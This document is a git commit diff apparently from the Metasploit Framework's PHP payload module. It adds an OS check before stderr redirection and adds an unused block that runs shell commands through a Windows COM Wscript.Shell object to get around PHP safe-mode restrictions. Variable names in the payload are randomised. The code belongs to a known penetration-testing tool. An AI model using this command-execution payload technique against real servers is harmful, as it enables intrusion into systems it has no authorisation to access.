check the os before adding output redirection to commands

git-svn-id: file:///home/svn/framework3/trunk@10007 4d416f70-5f16-0410-b530-b9f4589650da
unstable
James Lee 2010-08-13 19:46:04 +00:00
parent 7b521b8ef2
commit c94663c1fd
1 changed files with 12 additions and 1 deletions

View File

@ -48,7 +48,9 @@ module Msf::Payload::Php
in_array = '$' + Rex::Text.rand_text_alpha(rand(4) + 4) in_array = '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
setup = " setup = "
#{cmd}=#{cmd}.\" 2>&1\\n\"; if (!(strtolower(PHP_OS) =~ 'win')) {
#{cmd}=#{cmd}.\" 2>&1\\n\";
}
#{is_callable}='is_callable'; #{is_callable}='is_callable';
#{in_array}='in_array'; #{in_array}='in_array';
" "
@ -96,6 +98,15 @@ module Msf::Payload::Php
} }
@pclose($fp); @pclose($fp);
}else" }else"
# Currently unused until we can figure out how to get output with COM
# objects (which are not subject to safe mode restrictions) instead of
# PHP functions.
win32_com = "
if (strtolower(PHP_OS) =~ 'win') {
$wscript = new COM('Wscript.Shell');
$wscript->run(#{cmd} . ' > %TEMP%\\out.txt');
#{output} = file_get_contents('%TEMP%\\out.txt');
}else"
fail_block = " fail_block = "
{ {
#{output}=0; #{output}=0;